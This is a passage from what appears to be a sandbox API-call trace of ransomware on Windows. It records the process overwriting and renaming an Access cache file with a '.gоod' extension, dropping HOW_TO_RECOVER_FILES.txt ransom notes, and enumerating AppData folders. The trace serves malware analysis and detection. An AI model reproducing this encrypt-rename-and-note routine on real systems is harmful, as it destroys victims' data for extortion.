lpFilePart=0x0) returned 0x42 [0231.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecda0) returned 1 [0231.114] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\access\\accesscache.accdb"), fInfoLevelId=0x0, lpFileInformation=0x380dc70 | out: lpFileInformation=0x380dc70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5d8bc, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x33c5d8bc, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3f1c0c3d, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x31000)) returned 1 [0231.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecd60) returned 1 [0231.114] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb", nBufferLength=0x105, lpBuffer=0x204ec780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb", lpFilePart=0x0) returned 0x42 [0231.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecca0) returned 1 [0231.114] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\access\\accesscache.accdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0231.115] GetFileType (hFile=0x860) returned 0x1 [0231.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecc10) returned 1 [0231.115] GetFileType (hFile=0x860) returned 0x1 [0231.115] SetFilePointer (in: hFile=0x860, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ecdf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ecdf8*=0) returned 0x1000 [0231.115] ReadFile (in: hFile=0x860, lpBuffer=0x380e088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ecdc8, lpOverlapped=0x0 | out: lpBuffer=0x380e088*, lpNumberOfBytesRead=0x204ecdc8*=0x1000, lpOverlapped=0x0) returned 1 [0231.116] CloseHandle (hObject=0x860) returned 1 [0231.116] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb", nBufferLength=0x105, lpBuffer=0x204ec780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb", lpFilePart=0x0) returned 0x42 [0231.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecca0) returned 1 [0231.116] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\access\\accesscache.accdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0231.116] GetFileType (hFile=0x860) returned 0x1 [0231.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecc10) returned 1 [0231.116] GetFileType (hFile=0x860) returned 0x1 [0231.117] SetFilePointer (in: hFile=0x860, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ecdf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ecdf8*=0) returned 0x31000 [0231.117] WriteFile (in: hFile=0x860, lpBuffer=0x380f320*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ecce8, lpOverlapped=0x0 | out: lpBuffer=0x380f320*, lpNumberOfBytesWritten=0x204ecce8*=0x10, lpOverlapped=0x0) returned 1 [0231.117] CloseHandle (hObject=0x860) returned 1 [0231.117] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb", nBufferLength=0x105, lpBuffer=0x204ec780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb", lpFilePart=0x0) returned 0x42 [0231.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecca0) returned 1 [0231.117] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\access\\accesscache.accdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0231.117] GetFileType (hFile=0x860) returned 0x1 [0231.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecc10) returned 1 [0231.117] GetFileType (hFile=0x860) returned 0x1 [0231.117] ReadFile (in: hFile=0x860, lpBuffer=0x38115e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ecd78, lpOverlapped=0x0 | out: lpBuffer=0x38115e0*, lpNumberOfBytesRead=0x204ecd78*=0x1000, lpOverlapped=0x0) returned 1 [0232.753] CloseHandle (hObject=0x860) returned 1 [0232.753] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb", nBufferLength=0x105, lpBuffer=0x204ec780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb", lpFilePart=0x0) returned 0x42 [0232.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecca0) returned 1 [0232.753] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\access\\accesscache.accdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0232.754] GetFileType (hFile=0x860) returned 0x1 [0232.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecc10) returned 1 [0232.754] GetFileType (hFile=0x860) returned 0x1 [0232.754] WriteFile (in: hFile=0x860, lpBuffer=0x36c1360*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ece28, lpOverlapped=0x0 | out: lpBuffer=0x36c1360*, lpNumberOfBytesWritten=0x204ece28*=0x1010, lpOverlapped=0x0) returned 1 [0232.754] CloseHandle (hObject=0x860) returned 1 [0232.754] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb", lpFilePart=0x0) returned 0x42 [0232.754] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb.gоod", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb.gоod", lpFilePart=0x0) returned 0x47 [0232.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecd60) returned 1 [0232.754] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\access\\accesscache.accdb"), fInfoLevelId=0x0, lpFileInformation=0x204ece40 | out: lpFileInformation=0x204ece40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5d8bc, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x33c5d8bc, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x86f183b0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x31010)) returned 1 [0232.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecd20) returned 1 [0232.754] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\access\\accesscache.accdb"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\access\\accesscache.accdb.gоod")) returned 1 [0232.755] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x49 [0232.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0232.755] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\access\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0232.756] GetFileType (hFile=0x860) returned 0x1 [0232.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0232.756] GetFileType (hFile=0x860) returned 0x1 [0232.756] WriteFile (in: hFile=0x860, lpBuffer=0x3913b40*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x3913b40*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0232.757] CloseHandle (hObject=0x860) returned 1 [0232.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0232.757] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\AddIns", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\AddIns", lpFilePart=0x0) returned 0x30 [0232.757] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\AddIns\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208511b9, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x208511b9, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x208511b9, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b1c0 [0232.758] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208511b9, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x208511b9, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x208511b9, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.758] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208511b9, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x208511b9, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x208511b9, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0232.758] FindClose (in: hFindFile=0x134b1c0 | out: hFindFile=0x134b1c0) returned 1 [0232.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0232.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0232.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0232.758] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\AddIns", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\AddIns", lpFilePart=0x0) returned 0x30 [0232.758] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\AddIns\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208511b9, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x208511b9, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x208511b9, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0232.823] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0234.435] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208511b9, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x208511b9, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x208511b9, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.435] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208511b9, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x208511b9, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x208511b9, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0234.435] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0234.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0234.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0234.435] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\AddIns\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\AddIns\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x49 [0234.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0234.435] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\AddIns\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\addins\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0234.436] GetFileType (hFile=0x860) returned 0x1 [0234.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0234.436] GetFileType (hFile=0x860) returned 0x1 [0234.437] WriteFile (in: hFile=0x860, lpBuffer=0x3c3dcf0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x3c3dcf0*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0234.438] CloseHandle (hObject=0x860) returned 1 [0234.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0234.439] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography", lpFilePart=0x0) returned 0x36 [0234.439] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d0f124, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d0f124, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2d35364, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b580 [0234.440] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d0f124, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d0f124, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2d35364, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.440] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d35364, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d35364, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2e40435, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 1 [0234.440] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d35364, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d35364, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2e40435, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 0 [0234.440] FindClose (in: hFindFile=0x134b580 | out: hFindFile=0x134b580) returned 1 [0234.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0234.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0234.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0234.441] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography", lpFilePart=0x0) returned 0x36 [0234.441] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d0f124, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d0f124, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2d35364, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0234.441] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d0f124, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d0f124, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2d35364, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.441] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d35364, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d35364, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2e40435, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 1 [0234.441] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0234.441] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0234.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0234.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0234.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0234.442] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", lpFilePart=0x0) returned 0x3c [0234.442] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d35364, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d35364, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2e40435, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0234.444] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d35364, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d35364, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2e40435, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.444] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d35364, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d35364, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x1f7c60e, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x51722, dwReserved0=0x0, dwReserved1=0x0, cFileName="APASixthEditionOfficeOnline.xsl", cAlternateFileName="APASIX~1.XSL")) returned 1 [0234.444] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d5b719, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d5b719, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2120015, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x48839, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHICAGO.XSL", cAlternateFileName="")) returned 1 [0234.444] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d81993, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d81993, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x23a87e3, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x4197e, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB.XSL", cAlternateFileName="")) returned 1 [0234.444] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da7ba7, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2da7ba7, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2120015, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x3e966, dwReserved0=0x0, dwReserved1=0x0, cFileName="GostName.XSL", cAlternateFileName="")) returned 1 [0234.444] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da7ba7, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2da7ba7, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2120015, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x3d639, dwReserved0=0x0, dwReserved1=0x0, cFileName="GostTitle.XSL", cAlternateFileName="GOSTTI~1.XSL")) returned 1 [0234.445] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2df40d1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2df40d1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2788516, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x45882, dwReserved0=0x0, dwReserved1=0x0, cFileName="HarvardAnglia2008OfficeOnline.xsl", cAlternateFileName="HARVAR~1.XSL")) returned 1 [0234.445] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x204ec2a0 | out: 